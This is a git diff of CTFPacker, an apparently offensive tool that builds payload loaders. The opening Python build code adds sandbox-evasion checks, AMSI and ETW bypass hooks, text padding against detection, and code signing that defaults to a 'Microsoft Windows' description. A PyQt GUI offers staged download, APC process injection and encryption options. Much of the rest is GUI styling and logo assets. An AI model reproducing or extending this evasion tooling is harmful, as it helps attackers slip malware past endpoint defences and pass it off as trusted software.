He was not sleeping well. Dreams of his mother and his childhood '\ + 'haunted him, and occasionally he would hear her voice calling him back to '\ + 'some important duty he had left undone. "\n' + ';\n\n' + '/* __attribute__((constructor)) puts this in .init_array which the CRT\n' + ' always retains, and its reference to _ctfp_entropy_text forces the\n' + ' linker to keep the text section even under -Wl,--gc-sections. */\n' + '__attribute__((constructor)) static void _ctfp_entropy_anchor(void) {\n' + ' volatile char _r = _ctfp_entropy_text[0];\n' + ' (void)_r;\n' + '}\n' + ) + + filepath = os.path.join(dst, "entropy_text.c") + with open(filepath, "w", encoding="utf-8") as f: + f.write(entropy_c) + + # Add entropy_text.c to COMMON_SRCS in the Makefile. + # Use a regex so trailing whitespace / CRLF variations don't break the match. + makefile_path = os.path.join(dst, "Makefile") + with open(makefile_path, "r") as f: + makefile = f.read() + makefile = re.sub( + r'(\tsandbox\.c)\s*\n', + r'\1 \\\n\tentropy_text.c\n', + makefile + ) + with open(makefile_path, "w") as f: + f.write(makefile) + + self._log("English text padding injected into binary!", "success") + + # ------------------------------------------------------------------ + # Sandbox checks + # ------------------------------------------------------------------ + + def _handle_sandbox_checks(self, dst: str, config: "BuildConfig"): + """Resolve all sandbox-related placeholders in main*.c and sandbox.c. + + When enabled, inserts a call to RunSandboxChecks() so the loader + detects sandbox environments (uptime / RAM / CPU) and exits cleanly. + When disabled, removes the placeholder comment — sandbox.c is still + compiled but RunSandboxChecks() is never called and will be + dead-stripped by -Wl,--gc-sections. + + Also substitutes the configurable threshold values into sandbox.c. + """ + enabled = config.sandbox_checks + min_uptime_ms = config.sandbox_min_uptime_s * 1000 + min_ram_bytes = config.sandbox_min_ram_gb * 1024 * 1024 * 1024 + min_cpu = config.sandbox_min_cpu + + if enabled: + call = "if (!RunSandboxChecks()) return -1;" + self._log( + f"Sandbox checks enabled — uptime ≥ {config.sandbox_min_uptime_s}s, " + f"RAM ≥ {config.sandbox_min_ram_gb} GB, " + f"CPUs ≥ {min_cpu}.", + "success", + ) + else: + call = "/* sandbox checks disabled */" + + # Resolve entry-point placeholder + for fname in ("main.c", "main_dll.c"): + fpath = os.path.join(dst, fname) + if not os.path.exists(fpath): + continue + with open(fpath, "r") as f: + data = f.read() + data = data.replace("// #-SANDBOX_CHECK_CALL-#", call) + with open(fpath, "w") as f: + f.write(data) + + # Substitute threshold values into sandbox.c + sc_path = os.path.join(dst, "sandbox.c") + if os.path.exists(sc_path): + with open(sc_path, "r") as f: + sc = f.read() + sc = sc.replace("#-SANDBOX_MIN_UPTIME_MS-#", f"{min_uptime_ms}ULL") + sc = sc.replace("#-SANDBOX_MIN_RAM_BYTES-#", f"{min_ram_bytes}ULL") + sc = sc.replace("#-SANDBOX_MIN_RAM_GB-#", str(config.sandbox_min_ram_gb)) + sc = sc.replace("#-SANDBOX_MIN_CPU-#", str(min_cpu)) + with open(sc_path, "w") as f: + f.write(sc) + + # ------------------------------------------------------------------ + # Compile & sign + # ------------------------------------------------------------------ + + def _handle_debug_mode(self, dst: str, config: "BuildConfig"): + """Replace // #-DEBUG_DEFINE-# in trampoline.c with #define DEBUG or nothing.""" + debug = getattr(config, 'debug_mode', False) + replacement = '#define DEBUG' if debug else '/* debug disabled */' + if debug: + self._log("Debug mode ON — OutputDebugString prints enabled in trampoline hooks", "info") + for fname in os.listdir(dst): + if not fname.endswith(('.c', '.h')): + continue + fpath = os.path.join(dst, fname) + with open(fpath, 'r') as f: + data = f.read() + if '// #-DEBUG_DEFINE-#' in data: + data = data.replace('// #-DEBUG_DEFINE-#', replacement) + with open(fpath, 'w') as f: + f.write(data) + + def _handle_trampoline_bypass(self, dst: str, config: "BuildConfig"): + """Resolve the #-TRAMPOLINE_CALL-# placeholder in main*.c. + + When one or both hooks are enabled, inserts a call to + InstallTrampolines(bypassAmsi, bypassEtw) so the loader patches + AmsiScanBuffer / EtwpEventWriteFull at runtime before payload + execution. When both are disabled the placeholder is removed + cleanly; trampoline.c is still compiled but dead-stripped by + -Wl,--gc-sections. + """ + bypass_amsi = int(getattr(config, 'bypass_amsi', False)) + bypass_etw = int(getattr(config, 'bypass_etw', False)) + + if bypass_amsi or bypass_etw: + call = f"\tInstallTrampolines({bypass_amsi}, {bypass_etw});" + tags = [] + if bypass_amsi: + tags.append("AMSI") + if bypass_etw: + tags.append("ETW") + self._log( + f"Trampoline hooks installed — bypassing: {', '.join(tags)}", + "success" + ) + else: + call = "/* trampoline hooks disabled */" + + for fname in ("main.c", "main_dll.c"): + fpath = os.path.join(dst, fname) + if not os.path.exists(fpath): + continue + with open(fpath, "r") as f: + data = f.read() + data = data.replace("// #-TRAMPOLINE_CALL-#", call) + with open(fpath, "w") as f: + f.write(data) + + # ------------------------------------------------------------------ + # Compile & sign + # ------------------------------------------------------------------ + + def _compile_and_sign(self, dst: str, config: BuildConfig) -> bool: + """Compile the loader, optionally sign, move output, clean up.""" + fmt = config.format if config.format else "EXE" + + if fmt == "EXE" and config.pfx: + return self._compile_sign_exe(dst, config) + elif fmt == "EXE": + return self._compile_exe(dst, config) + elif fmt == "DLL": + return self._compile_dll(dst, config) + return False + + @staticmethod + def _resolve_output(config: BuildConfig, ext: str) -> str: + """Resolve the full output path from config.output + extension. + + config.output may be: + - a bare name like 'ctfloader' -> CWD/ctfloader.exe + - a full path like '/tmp/myloader' -> /tmp/myloader.exe + The extension (e.g. '.exe') is always appended. + """ + base = config.output or "ctfloader" + # Strip extension if user accidentally included one + root, _ = os.path.splitext(base) + full = root + ext + # Ensure the target directory exists + out_dir = os.path.dirname(full) + if out_dir: + os.makedirs(out_dir, exist_ok=True) + return full + + def _compile_exe(self, dst: str, config: BuildConfig) -> bool: + out_path = self._resolve_output(config, ".exe") + self._run_make(dst, "EXE") + shutil.move(os.path.join(dst, "ctfloader.exe"), out_path) + self._cleanup(dst) + self._log(f"Loader compiled to {os.path.abspath(out_path)} !", "success") + self._log("DONE !", "success") + return True + + def _compile_dll(self, dst: str, config: BuildConfig) -> bool: + self._log("DLL format selected.", "info") + out_path = self._resolve_output(config, ".dll") + self._run_make(dst, "DLL") + shutil.move(os.path.join(dst, "ctfloader.dll"), out_path) + self._cleanup(dst) + self._log(f"Loader compiled to {os.path.abspath(out_path)} !", "success") + self._log("DONE !", "success") + return True + + def _compile_sign_exe(self, dst: str, config: BuildConfig) -> bool: + self._log("Signing selected.", "info") + self._log("Signing the loader...", "warning") + + if not config.pfx: + self._log("PFX file not found", "error") + return False + if not config.pfx_password: + self._log("PFX password not provided", "error") + return False + + out_path = self._resolve_output(config, ".exe") + signed_path = self._resolve_output(config, "_signed.exe") + + self._run_make(dst, "EXE") + shutil.move(os.path.join(dst, "ctfloader.exe"), out_path) + + if os.path.exists(signed_path): + os.remove(signed_path) + + sign_desc = config.sign_description.strip() if config.sign_description else "Microsoft Windows" + sign_url = config.sign_url.strip() if config.sign_url else "https://microsoft.com" + result = subprocess.run([ + "osslsigncode", "sign", + "-pkcs12", config.pfx, + "-pass", config.pfx_password, + "-n", sign_desc, + "-i", sign_url, + "-t", "http://timestamp.sectigo.com", + "-in", out_path, + "-out", signed_path + ], capture_output=True, text=True) + + if result.returncode != 0: + self._log(f"Signing failed: {result.stderr}", "error") + self._cleanup(dst) + return False + + self._cleanup(dst) + self._log(f"Loader signed to {os.path.abspath(signed_path)} !", "success") + self._log("DONE !", "success") + return True + + def _run_make(self, dst: str, fmt: str): + """Run make clean && make in the temp directory, streaming output.""" + cmd = f"cd '{dst}' && make clean && make FORMAT={fmt}" + self._log(f"Compiling ({fmt})...", "warning") + + process = subprocess.Popen( + cmd, shell=True, + stdout=subprocess.PIPE, stderr=subprocess.STDOUT, + text=True + ) + for line in process.stdout: + stripped = line.rstrip('\n') + if stripped: + self._log(stripped, "info") + process.wait() + + if process.returncode != 0: + self._log(f"Make exited with code {process.returncode}", "error") + + def _cleanup(self, dst: str): + if os.path.exists(dst): + shutil.rmtree(dst) diff --git a/Linux/custom_certs/cert1.pfx b/Linux/custom_certs/cert1.pfx deleted file mode 100644 index f771e28..0000000 Binary files a/Linux/custom_certs/cert1.pfx and /dev/null differ diff --git a/Linux/custom_certs/cert2.pfx b/Linux/custom_certs/cert2.pfx deleted file mode 100644 index 698f944..0000000 Binary files a/Linux/custom_certs/cert2.pfx and /dev/null differ diff --git a/Windows/core/__init__.py b/Linux/gui/__init__.py similarity index 100% rename from Windows/core/__init__.py rename to Linux/gui/__init__.py diff --git a/Linux/gui/app.py b/Linux/gui/app.py new file mode 100644 index 0000000..f948aaf --- /dev/null +++ b/Linux/gui/app.py @@ -0,0 +1,335 @@ +# -*- coding: utf-8 -*- +"""Main application window for CTFPacker GUI.""" +import os +import sys +import time +import json +import subprocess as _sp +import shutil + +from PyQt6.QtWidgets import ( + QApplication, QMainWindow, QTabWidget, QSplitter, QWidget, + QVBoxLayout, QHBoxLayout, QLabel, QStatusBar, QCheckBox +) +from PyQt6.QtCore import Qt, QTimer, QByteArray, QRectF +from PyQt6.QtGui import QKeySequence, QShortcut, QPixmap, QIcon, QPainter +from PyQt6.QtSvg import QSvgRenderer + +from gui.theme import ( + STYLESHEET, ACCENT, ACCENT_DIM, ACCENT_BRIGHT, + BG_BASE, BG_SURFACE, BG_ELEVATED, BG_HEADER, + TEXT, TEXT_DIM, TEXT_MUTED, BORDER, GREEN, RED, ORANGE, + # Nord compat aliases still used by status label colour strings + FROST1, NORD3, NORD4, NORD0, NORD1, +) +from gui.widgets.staged_tab import StagedTab +from gui.widgets.stageless_tab import StagelessTab +from gui.widgets.log_panel import LogPanel +from gui.workers import BuildWorker +from gui.history import HistoryManager + +GEOMETRY_PATH = os.path.expanduser("~/.ctfpacker_geometry.json") + +# Locate assets/: 1) gui/assets/ (installed via pipx), 2) Linux/assets/, 3) repo root (dev) +_HERE = os.path.dirname(os.path.abspath(__file__)) +_ASSET_CANDIDATES = [ + os.path.join(_HERE, "assets"), # installed: inside gui package + os.path.normpath(os.path.join(_HERE, "..", "assets")), # Linux/assets/ + os.path.normpath(os.path.join(_HERE, "..", "..", "assets")), # repo root (dev) +] +ASSETS_DIR = next((d for d in _ASSET_CANDIDATES if os.path.isdir(d)), + _ASSET_CANDIDATES[0]) +LOGO_ICON_PATH = os.path.join(ASSETS_DIR, "Logo.png") +FULL_LOGO_PATH = os.path.join(ASSETS_DIR, "Full-Logo.svg") +FULL_LOGO_RED = os.path.join(ASSETS_DIR, "Full-Logo-red-black.svg") + + +def _render_full_logo(height: int = 52) -> QPixmap: + """Render Full-Logo-red-black.svg cropped to content. + + Red gradient wordmark + black icon. Black icon fill is recoloured + to white so it shows on the dark header; the red gradient text is + kept as-is. + """ + src = FULL_LOGO_RED if os.path.isfile(FULL_LOGO_RED) else FULL_LOGO_PATH + if not os.path.isfile(src): + return QPixmap() + with open(src, "r") as fh: + svg = fh.read() + svg = svg.replace('viewBox="0 0 1024 768"', 'viewBox="40 228 858 310"') + svg = svg.replace("fill: rgb(0,0,0)", "fill: rgb(255,255,255)") + ratio = 858 / 310 + w = int(height * ratio) + renderer = QSvgRenderer(QByteArray(svg.encode("utf-8"))) + pix = QPixmap(w, height) + pix.fill(Qt.GlobalColor.transparent) + painter = QPainter(pix) + painter.setRenderHint(QPainter.RenderHint.Antialiasing) + renderer.render(painter, QRectF(0, 0, w, height)) + painter.end() + return pix + + + + +class MainWindow(QMainWindow): + """CTFPacker v2.0 main window.""" + + def __init__(self): + super().__init__() + self.setWindowTitle("CTFPacker") + self.setMinimumSize(960, 720) + + # Window icon + if os.path.isfile(LOGO_ICON_PATH): + self.setWindowIcon(QIcon(LOGO_ICON_PATH)) + + self._worker = None + self._history = HistoryManager() + self._build_start_time = 0 + self._elapsed_timer = QTimer(self) + self._elapsed_timer.setInterval(1000) + self._elapsed_timer.timeout.connect(self._update_elapsed) + self._splitter = None + + self._setup_ui() + self._setup_statusbar() + self._setup_shortcuts() + self._restore_geometry() + + def _setup_ui(self): + central = QWidget() + main_layout = QVBoxLayout(central) + main_layout.setContentsMargins(0, 0, 0, 0) + main_layout.setSpacing(0) + + # -- Header banner -- + header = QWidget() + header.setFixedHeight(64) + header.setStyleSheet( + f"background-color: {BG_HEADER};" + f"border-bottom: 1px solid {BORDER};" + ) + header_layout = QHBoxLayout(header) + header_layout.setContentsMargins(16, 0, 20, 0) + header_layout.setSpacing(0) + + # Full-Logo SVG: icon + wordmark rendered as a single pixmap + logo_label = QLabel() + logo_pix = _render_full_logo(height=48) + if not logo_pix.isNull(): + logo_label.setPixmap(logo_pix) + logo_label.setFixedSize(logo_pix.size()) + else: + # Fallback: plain text if assets not found + logo_label.setText("CTFPACKER") + logo_label.setObjectName("headerTitle") + logo_label.setStyleSheet("background: transparent;") + header_layout.addWidget(logo_label) + + header_layout.addStretch() + + badge = QLabel("v2.0") + badge.setObjectName("headerBadge") + header_layout.addWidget(badge) + + main_layout.addWidget(header) + + # -- Splitter: tabs + log -- + self._splitter = QSplitter(Qt.Orientation.Vertical) + + self._tabs = QTabWidget() + self._staged_tab = StagedTab(self._history) + self._stageless_tab = StagelessTab(self._history) + self._tabs.addTab(self._staged_tab, "Staged") + self._tabs.addTab(self._stageless_tab, "Stageless") + + self._log_panel = LogPanel() + + self._splitter.addWidget(self._tabs) + self._splitter.addWidget(self._log_panel) + self._splitter.setStretchFactor(0, 3) + self._splitter.setStretchFactor(1, 1) + + main_layout.addWidget(self._splitter, stretch=1) + self.setCentralWidget(central) + + # Connect signals + self._staged_tab.build_requested.connect(self._start_build) + self._stageless_tab.build_requested.connect(self._start_build) + self._staged_tab.profile_imported.connect(self._on_profile_imported) + self._stageless_tab.profile_imported.connect(self._on_profile_imported) + + def _setup_statusbar(self): + self._statusbar = QStatusBar() + self.setStatusBar(self._statusbar) + + # State dot — 8 px circle, colour reflects build state + self._dot_label = QLabel("●") + self._dot_label.setToolTip("Build state") + self._dot_label.setStyleSheet( + f"color: {TEXT_MUTED}; font-size: 8px; padding: 0 4px 0 6px;" + ) + self._statusbar.addWidget(self._dot_label) + + self._status_label = QLabel("Ready") + self._elapsed_label = QLabel("") + + self._notify_check = QCheckBox("Notifications") + self._notify_check.setChecked(True) + self._notify_check.setToolTip("Show desktop notifications when builds finish") + + self._statusbar.addWidget(self._status_label, stretch=1) + self._statusbar.addPermanentWidget(self._elapsed_label) + self._statusbar.addPermanentWidget(self._notify_check) + + def _setup_shortcuts(self): + QShortcut(QKeySequence("Ctrl+L"), self, self._log_panel.clear) + + def _on_profile_imported(self): + """Refresh both tabs' profile combos after any import.""" + self._staged_tab._refresh_profiles() + self._stageless_tab._refresh_profiles() + + def _start_build(self, config): + if self._worker and self._worker.isRunning(): + return + + self._log_panel.clear() + + # Log build summary + self._log_panel.append_log("--- Build Configuration ---", "info") + self._log_panel.append_log(f" Mode: {config.mode}", "info") + self._log_panel.append_log(f" Format: {config.format}", "info") + self._log_panel.append_log(f" Injection: {config.inject_method}", "info") + if config.inject_method == "apc": + self._log_panel.append_log(f" Target: {config.target_process}", "info") + self._log_panel.append_log(f" Encrypt: {'Yes' if config.encrypt else 'No'}", "info") + self._log_panel.append_log(f" Scramble: {'Yes' if config.scramble else 'No'}", "info") + self._log_panel.append_log(f" Output: {config.output or 'ctfloader'}", "info") + if config.mode == "staged": + proto = "https" if config.https else "http" + self._log_panel.append_log( + f" Download: {proto}://{config.ip_address}:{config.port}{config.path}", "info") + self._log_panel.append_log("----------------------------", "info") + + self._log_panel.set_building(True) + self._set_build_enabled(False) + + self._dot_label.setStyleSheet(f"color: {ORANGE}; font-size: 8px; padding: 0 4px 0 6px;") + self._status_label.setText("Building...") + self._status_label.setStyleSheet(f"color: {ACCENT};") + self._build_start_time = time.time() + self._update_elapsed() + self._elapsed_timer.start() + + self._last_config = config + self._worker = BuildWorker(config) + self._worker.log_message.connect(self._log_panel.append_log) + self._worker.build_finished.connect(self._on_build_finished) + self._worker.start() + + def _on_build_finished(self, success: bool): + self._elapsed_timer.stop() + self._log_panel.set_building(False) + self._set_build_enabled(True) + + elapsed = time.time() - self._build_start_time + elapsed_str = f"{elapsed:.1f}s" + + if success: + # Resolve output path for display + cfg = self._last_config + base = cfg.output or "ctfloader" + root, _ = os.path.splitext(base) + ext = ".dll" if cfg.format == "DLL" else ".exe" + out_file = os.path.abspath(root + ext) + output_dir = os.path.dirname(out_file) + + self._log_panel.append_log("Build completed successfully!", "success") + self._log_panel.append_log(f"Output: {out_file}", "success") + self._dot_label.setStyleSheet(f"color: {GREEN}; font-size: 8px; padding: 0 4px 0 6px;") + self._status_label.setText(f"\u2714 Build succeeded ({elapsed_str})") + self._status_label.setStyleSheet(f"color: {GREEN};") + self._log_panel.show_open_folder(output_dir) + else: + self._log_panel.append_log("Build failed.", "error") + self._dot_label.setStyleSheet(f"color: {RED}; font-size: 8px; padding: 0 4px 0 6px;") + self._status_label.setText(f"\u2717 Build failed ({elapsed_str})") + self._status_label.setStyleSheet(f"color: {RED};") + + self._elapsed_label.setText("") + self._send_notification(success, elapsed_str) + + def _send_notification(self, success: bool, elapsed_str: str): + """Send a desktop notification when build finishes.""" + if not self._notify_check.isChecked(): + return + + if success: + title = "CTFPacker - Build Succeeded" + body = f"Build completed in {elapsed_str}" + else: + title = "CTFPacker - Build Failed" + body = f"Build failed after {elapsed_str}" + + try: + if sys.platform == "linux" and shutil.which("notify-send"): + icon = "dialog-information" if success else "dialog-error" + _sp.Popen(["notify-send", "-i", icon, title, body], + stdout=_sp.DEVNULL, stderr=_sp.DEVNULL) + elif sys.platform == "darwin": + _sp.Popen([ + "osascript", "-e", + f'display notification "{body}" with title "{title}"' + ], stdout=_sp.DEVNULL, stderr=_sp.DEVNULL) + except OSError: + pass # Notification is best-effort + + def _update_elapsed(self): + elapsed = time.time() - self._build_start_time + self._elapsed_label.setText(f"Elapsed: {elapsed:.0f}s") + + def _set_build_enabled(self, enabled: bool): + self._staged_tab.set_build_enabled(enabled) + self._stageless_tab.set_build_enabled(enabled) + + # -- Window geometry persistence -- + + def _save_geometry(self): + data = { + "window_geometry": self.saveGeometry().toBase64().data().decode(), + "splitter_state": self._splitter.saveState().toBase64().data().decode() + if self._splitter else None, + "notifications": self._notify_check.isChecked(), + } + try: + with open(GEOMETRY_PATH, "w") as f: + json.dump(data, f) + except OSError: + pass + + def _restore_geometry(self): + try: + with open(GEOMETRY_PATH, "r") as f: + data = json.load(f) + if "window_geometry" in data: + self.restoreGeometry(QByteArray.fromBase64(data["window_geometry"].encode())) + if "splitter_state" in data and data["splitter_state"] and self._splitter: + self._splitter.restoreState(QByteArray.fromBase64(data["splitter_state"].encode())) + if "notifications" in data: + self._notify_check.setChecked(data["notifications"]) + except (OSError, json.JSONDecodeError, KeyError): + pass + + def closeEvent(self, event): + self._save_geometry() + super().closeEvent(event) + + +def run_gui(): + app = QApplication(sys.argv) + app.setStyleSheet(STYLESHEET) + window = MainWindow() + window.show() + sys.exit(app.exec()) diff --git a/Linux/gui/assets/Full-Logo-red-black.svg b/Linux/gui/assets/Full-Logo-red-black.svg new file mode 100644 index 0000000..7286d11 --- /dev/null +++ b/Linux/gui/assets/Full-Logo-red-black.svg @@ -0,0 +1,483 @@ + +Created with Fabric.js 6.7.1 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + CTFPACKER + + + + + \ No newline at end of file diff --git a/Linux/gui/assets/Full-Logo.svg b/Linux/gui/assets/Full-Logo.svg new file mode 100644 index 0000000..490e616 --- /dev/null +++ b/Linux/gui/assets/Full-Logo.svg @@ -0,0 +1,11 @@ + +Created with Fabric.js 6.7.1 + + + + + + + + + \ No newline at end of file diff --git a/Linux/gui/assets/Logo.png b/Linux/gui/assets/Logo.png new file mode 100644 index 0000000..3114b1b Binary files /dev/null and b/Linux/gui/assets/Logo.png differ diff --git a/Linux/gui/history.py b/Linux/gui/history.py new file mode 100644 index 0000000..6b1d859 --- /dev/null +++ b/Linux/gui/history.py @@ -0,0 +1,92 @@ +# -*- coding: utf-8 -*- +"""Profile save/load for build configurations.""" +import json +import os +from typing import Optional + +from core.build_config import BuildConfig + +HISTORY_PATH = os.path.expanduser("~/.ctfpacker_history.json") + + +class HistoryManager: + """Manages saved build profiles in a JSON file.""" + + def __init__(self, path: str = HISTORY_PATH): + self._path = path + self._data = self._load_file() + + def _load_file(self) -> dict: + if os.path.exists(self._path): + try: + with open(self._path, "r") as f: + return json.load(f) + except (json.JSONDecodeError, IOError): + return {} + return {} + + def _save_file(self): + with open(self._path, "w") as f: + json.dump(self._data, f, indent=2) + os.chmod(self._path, 0o600) + + def list_profiles(self, mode: str) -> list: + """Return profile names for the given mode.""" + return list(self._data.get(mode, {}).keys()) + + def load_profile(self, mode: str, name: str) -> Optional[BuildConfig]: + """Load a named profile, or None if not found.""" + profiles = self._data.get(mode, {}) + if name in profiles: + return BuildConfig.from_dict(profiles[name]) + return None + + def save_profile(self, mode: str, name: str, config: BuildConfig): + """Save a profile under the given mode and name. PFX password is never persisted.""" + if mode not in self._data: + self._data[mode] = {} + self._data[mode][name] = config.to_safe_dict() + self._save_file() + + def delete_profile(self, mode: str, name: str): + """Delete a profile.""" + if mode in self._data and name in self._data[mode]: + del self._data[mode][name] + self._save_file() + + # ── Import / Export ─────────────────────────────────────────────────── + + SCHEMA_VERSION = 1 + + def export_profile(self, mode: str, name: str) -> dict: + """Return a portable dict for saving as a .ctfp file.""" + profiles = self._data.get(mode, {}) + if name not in profiles: + raise KeyError(f"Profile '{name}' not found in mode '{mode}'") + return { + "ctfpacker_profile": self.SCHEMA_VERSION, + "mode": mode, + "name": name, + "config": profiles[name], + } + + def import_profile(self, data: dict) -> tuple: + """Validate and merge a .ctfp dict. Returns (mode, name). + Raises ValueError on bad schema. Caller must handle overwrite checks. + """ + if data.get("ctfpacker_profile") != self.SCHEMA_VERSION: + raise ValueError("Invalid or unsupported .ctfp file format.") + mode = data.get("mode") + name = data.get("name", "").strip() + config = data.get("config") + if not isinstance(mode, str) or mode not in ("staged", "stageless"): + raise ValueError(f"Unknown mode '{mode}' in profile file.") + if not name: + raise ValueError("Profile file has no valid name.") + if not isinstance(config, dict): + raise ValueError("Profile file has no valid config block.") + if mode not in self._data: + self._data[mode] = {} + self._data[mode][name] = config + self._save_file() + return mode, name diff --git a/Linux/gui/theme.py b/Linux/gui/theme.py new file mode 100644 index 0000000..18935a8 --- /dev/null +++ b/Linux/gui/theme.py @@ -0,0 +1,562 @@ +# -*- coding: utf-8 -*- +"""CTFPacker GUI theme — Havoc-inspired.""" + +# ── Colour Palette ──────────────────────────────────────────────────────────── +# Background hierarchy (very dark blue-black, like Havoc C2) +BG_BASE = "#12141a" # root background +BG_SURFACE = "#1a1d24" # panels / group boxes +BG_ELEVATED = "#22252e" # inputs, combos, toolbar areas +BG_HEADER = "#0d0f13" # top header strip +BG_CRUST = "#0a0c10" # log panel background + +# Borders +BORDER = "#2e3240" # default border +BORDER_SUB = "#1e2029" # subtle separator + +# Text +TEXT = "#c9d1d9" # primary +TEXT_DIM = "#7d8590" # secondary / placeholder +TEXT_MUTED = "#3d444d" # disabled / timestamps + +# Accent — crimson red (matches logo) +ACCENT = "#e83535" # primary accent +ACCENT_BRIGHT = "#f55050" # hover highlight +ACCENT_DIM = "#9e1f1f" # pressed / dim + +# Status colours +GREEN = "#3fb950" # success +RED = "#f0622f" # error (orange-red — distinct from accent) +YELLOW = "#d29922" # warning +ORANGE = "#db6d28" # info-alt + +# ── Aliases (backwards-compat with widgets that import Nord names) ───────────── +NORD0 = BG_BASE +NORD1 = BG_SURFACE +NORD2 = BG_ELEVATED +NORD3 = TEXT_MUTED +NORD4 = TEXT +NORD5 = TEXT +NORD6 = TEXT +FROST0 = ACCENT_DIM +FROST1 = ACCENT +FROST2 = ACCENT +FROST3 = ACCENT_DIM +PURPLE = "#bc8cff" +BASE = BG_BASE +MANTLE = BG_HEADER +CRUST = BG_CRUST +BLUE = ACCENT + +STYLESHEET = f""" +/* ── Root ──────────────────────────────────────────────────────────────── */ +QMainWindow, QWidget {{ + background-color: {BG_BASE}; + color: {TEXT}; + font-family: "Inter", "Segoe UI", "Ubuntu", sans-serif; + font-size: 13px; +}} + +/* ── Tabs ───────────────────────────────────────────────────────────────── */ +QTabWidget::pane {{ + border: none; + border-top: 2px solid {BORDER}; + background-color: {BG_BASE}; +}} + +QTabBar {{ + background-color: {BG_HEADER}; +}} + +QTabBar::tab {{ + background-color: transparent; + color: {TEXT_DIM}; + padding: 9px 24px; + border: none; + border-bottom: 2px solid transparent; + margin-right: 0px; + font-weight: 600; + letter-spacing: 0.5px; + text-transform: uppercase; + font-size: 11px; +}} + +QTabBar::tab:selected {{ + color: {ACCENT}; + border-bottom: 2px solid {ACCENT}; + background-color: transparent; +}} + +QTabBar::tab:hover:!selected {{ + color: {TEXT}; + background-color: {BG_ELEVATED}; +}} + +/* ── Group Boxes ─────────────────────────────────────────────────────────── */ +QGroupBox {{ + border: 1px solid {BORDER}; + border-left: 3px solid {ACCENT_DIM}; + border-radius: 2px; + margin-top: 14px; + padding-top: 14px; + background-color: {BG_SURFACE}; + font-weight: 700; + font-size: 11px; + letter-spacing: 0.8px; + text-transform: uppercase; + color: {TEXT_DIM}; +}} + +QGroupBox::title {{ + subcontrol-origin: margin; + left: 10px; + padding: 0 6px; + background-color: {BG_SURFACE}; + color: {ACCENT}; +}} + +/* ── Inputs ──────────────────────────────────────────────────────────────── */ +QLineEdit, QSpinBox {{ + background-color: {BG_ELEVATED}; + color: {TEXT}; + border: 1px solid {BORDER}; + border-radius: 2px; + padding: 6px 10px; + selection-background-color: {ACCENT_DIM}; +}} + +QLineEdit:focus, QSpinBox:focus {{ + border-color: {ACCENT}; + background-color: {BG_ELEVATED}; + outline: none; +}} + +QLineEdit::placeholder {{ + color: {TEXT_MUTED}; +}} + +QLineEdit:disabled, QSpinBox:disabled {{ + background-color: {BG_SURFACE}; + color: {TEXT_MUTED}; + border-color: {BORDER_SUB}; +}} + +QLineEdit[validationError="true"] {{ + border: 1px solid {RED}; + background-color: #200c0b; +}} + +/* ── SpinBox buttons ─────────────────────────────────────────────────────── */ +QSpinBox::up-button, QSpinBox::down-button {{ + background-color: {BG_ELEVATED}; + border: none; + width: 18px; +}} + +QSpinBox::up-button:hover, QSpinBox::down-button:hover {{ + background-color: {BORDER}; +}} + +/* ── ComboBox ────────────────────────────────────────────────────────────── */ +QComboBox {{ + background-color: {BG_ELEVATED}; + color: {TEXT}; + border: 1px solid {BORDER}; + border-radius: 2px; + padding: 6px 10px; + min-width: 110px; +}} + +QComboBox:focus {{ + border-color: {ACCENT}; +}} + +QComboBox:disabled {{ + background-color: {BG_SURFACE}; + color: {TEXT_MUTED}; + border-color: {BORDER_SUB}; +}} + +QComboBox::drop-down {{ + border: none; + width: 22px; + background-color: transparent; +}} + +QComboBox::down-arrow {{ + image: none; + border-left: 4px solid transparent; + border-right: 4px solid transparent; + border-top: 5px solid {TEXT_DIM}; + margin-right: 6px; +}} + +QComboBox QAbstractItemView {{ + background-color: {BG_ELEVATED}; + color: {TEXT}; + border: 1px solid {BORDER}; + border-radius: 0px; + selection-background-color: {ACCENT_DIM}; + outline: none; +}} + +/* ── Buttons ─────────────────────────────────────────────────────────────── */ +QPushButton {{ + background-color: {BG_ELEVATED}; + color: {TEXT_DIM}; + border: 1px solid {BORDER}; + border-radius: 2px; + padding: 6px 16px; + font-weight: 600; +}} + +QPushButton:hover {{ + background-color: {BORDER}; + color: {TEXT}; + border-color: {ACCENT_DIM}; +}} + +QPushButton:pressed {{ + background-color: {ACCENT_DIM}; + color: {TEXT}; +}} + +QPushButton:disabled {{ + background-color: {BG_SURFACE}; + color: {TEXT_MUTED}; + border-color: {BORDER_SUB}; +}} + +/* BUILD button */ +QPushButton#buildButton {{ + background-color: {ACCENT}; + color: {BG_BASE}; + border: none; + padding: 11px 32px; + font-size: 13px; + font-weight: 700; + border-radius: 2px; + letter-spacing: 1.5px; + text-transform: uppercase; +}} + +QPushButton#buildButton:hover {{ + background-color: {ACCENT_BRIGHT}; +}} + +QPushButton#buildButton:pressed {{ + background-color: {ACCENT_DIM}; + color: {TEXT}; +}} + +QPushButton#buildButton:disabled {{ + background-color: {BG_ELEVATED}; + color: {TEXT_MUTED}; + border: 1px solid {BORDER_SUB}; +}} + +/* Browse button */ +QPushButton#browseButton {{ + background-color: transparent; + color: {ACCENT}; + border: 1px solid {ACCENT_DIM}; + padding: 6px 12px; + border-radius: 2px; + font-weight: 600; +}} + +QPushButton#browseButton:hover {{ + background-color: {ACCENT_DIM}; + color: {TEXT}; + border-color: {ACCENT}; +}} + +/* Delete button */ +QPushButton#deleteButton {{ + background-color: transparent; + color: {RED}; + border: 1px solid #3d1a1a; + padding: 6px 12px; + border-radius: 2px; + font-weight: 600; +}} + +QPushButton#deleteButton:hover {{ + background-color: #2d1010; + border-color: {RED}; +}} + +/* ── CheckBox ────────────────────────────────────────────────────────────── */ 